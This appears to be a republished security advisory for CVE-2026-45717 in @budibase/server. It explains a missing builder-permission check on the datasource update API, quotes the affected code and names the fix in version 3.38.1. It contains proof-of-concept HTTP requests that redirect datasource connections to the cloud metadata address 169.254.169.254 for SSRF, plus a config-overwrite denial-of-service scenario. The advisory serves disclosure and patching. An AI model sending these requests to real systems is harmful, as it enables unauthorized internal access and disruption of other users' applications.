@budibase/server
Affected
- introduced
0, fixed3.38.1(semver)
Fixed versions
3.38.1
Fix
- Fixed version
3.38.1npm install @budibase/[email protected]
Advisory
Also known as: CVE-2026-45717
Budibase: PUT /api/datasources/:datasourceId is protected only by TABLE/READ permission instead of builder access, allowing any authenticated app user to overwrite datasource connection parameters including host, port, and URL
Summary
Budibase exposes a REST API for datasource management. The route PUT /api/datasources/:datasourceId is registered in the authorizedRoutes group with TABLE/READ permission. This is the same authorization level as the read endpoint (GET /api/datasources/:datasourceId). Every authenticated Budibase app user with the BASIC built-in role or higher carries TABLE/WRITE (and therefore TABLE/READ) permissions, and the datasource update controller performs no additional builder check.
As a result, any authenticated non-builder app user can submit a PUT request to rewrite a datasource's config object — including the connection host, port, database credentials, or the base url of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports.
Code evidence
Route registration — wrong authorization group
packages/server/src/api/routes/datasource.ts, line 35-37
authorizedRoutes
.get("/api/datasources/:datasourceId", datasourceController.find)
.put("/api/datasources/:datasourceId", datasourceController.update) // <-- should be builderRoutes
All destructive (create/delete/verify) operations are gated behind builderRoutes:
builderRoutes
.get("/api/datasources", datasourceController.fetch)
.post("/api/datasources/verify", datasourceController.verify)
.post("/api/datasources", datasourceValidator(), datasourceController.save)
.delete("/api/datasources/:datasourceId/:revId", datasourceController.destroy)
The update route shares the same authorization group as the read route, not the builder group.
Authorization middleware allows BASIC-role users
packages/server/src/middleware/authorized.ts, lines 46-50
packages/backend-core/src/security/permissions.ts, lines 82-90
packages/backend-core/src/security/roles.ts, lines 162-169
authorizedRoutes is defined with authorized(PermissionType.TABLE, PermissionLevel.READ).
When doesHaveBasePermission(TABLE, READ, rolesHierarchy) is evaluated for a BASIC-role user:
BASIC role → BuiltinPermissionID.WRITEWRITE permission includes PermissionImpl(PermissionType.TABLE, PermissionLevel.WRITE)getAllowedLevels(WRITE) returns [WRITE, READ]TABLE/READ is satisfied → user is authorizedBASIC is the lowest non-public authenticated built-in role. Any end-user account added to a Budibase app will be assigned at minimum the BASIC role.
Controller performs no additional builder check
packages/server/src/api/controllers/datasource.ts, lines 207-255
export async function update(ctx) {
const db = context.getWorkspaceDB()
const datasourceId = ctx.params.datasourceId
const baseDatasource = await sdk.datasources.get(datasourceId) // no builder guard
await invalidateVariables(baseDatasource, ctx.request.body)
const dataSourceBody: Datasource = isBudibaseSource
? { name: ..., type: ..., source: SourceName.BUDIBASE }
: ctx.request.body // attacker-controlled config
let datasource: Datasource = {
...baseDatasource,
...sdk.datasources.mergeConfigs(dataSourceBody, baseDatasource), // merges attacker config
}
const response = await db.put(sdk.tables.populateExternalTableSchemas(datasource)) // persisted
...
}
mergeConfigs does not protect non-password connection fields
packages/server/src/sdk/workspace/datasources/datasources.ts, lines 278-316
mergeConfigs only replaces PASSWORD_REPLACEMENT sentinel values back to the stored secret. Fields like host, port, database, url, ssl are taken from the update payload without restriction:
// update back to actual passwords for everything else
for (let [key, value] of Object.entries(update.config)) {
if (value !== PASSWORD_REPLACEMENT) {
continue // non-password fields pass through unchanged
}
...
}
Attack scenarios
Scenario 1: SSRF via SQL driver connection redirection
PUT /api/datasources/<datasource_id> HTTP/1.1
Host: target
Authorization: Bearer <app-user-token>
Content-Type: application/json
{
"config": {
"host": "169.254.169.254",
"port": 5432,
"database": "postgres",
"user": "postgres",
"password": "PASSWORD_REPLACEMENT"
}
}
host: 169.254.169.254.POST /api/queries/execute) causes Budibase's PostgreSQL driver to open a TCP connection to 169.254.169.254:5432 on the internal network.Scenario 2: SSRF via REST datasource URL change
PUT /api/datasources/<datasource_id> HTTP/1.1
...
{
"config": {
"url": "http://169.254.169.254/latest/meta-data/"
}
}
IMPORT_IP_DENY_LIST equivalent for Budibase's REST connector is not configured, the fetch proceeds and the response is visible in query results.Scenario 3: Datasource disruption / DoS
An attacker with BASIC permissions can overwrite the datasource config with garbage values, breaking all application queries that depend on that datasource for all users of the app.
Minimal PoC shape
PUT /api/datasources/<target_datasource_id> HTTP/1.1
Host: <budibase-host>
Authorization: Bearer <basic-user-access-token>
Content-Type: application/json
{
"name": "Modified",
"source": "POSTGRES",
"type": "datasource",
"config": {
"host": "169.254.169.254",
"port": 5432,
"database": "postgres",
"user": "postgres",
"password": "PASSWORD_REPLACEMENT",
"ssl": false
}
}
Expected secure behavior:
403 Forbidden — only builder/admin users should be allowed to update datasource configurations.Observed source behavior:
Impact
| Dimension | Assessment |
|---|---|
| Privileges required | Authenticated BASIC-role app user (lowest non-public role) |
| User interaction | None |
| Confidentiality | High — SSRF to cloud metadata or internal services |
| Integrity | High — overwrites datasource used by all app users |
| Availability | High — can break all queries by injecting invalid config |
High Basis: The source's own band: HIGH
0, fixed 3.38.1 (semver)3.38.1
3.38.1npm install @budibase/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0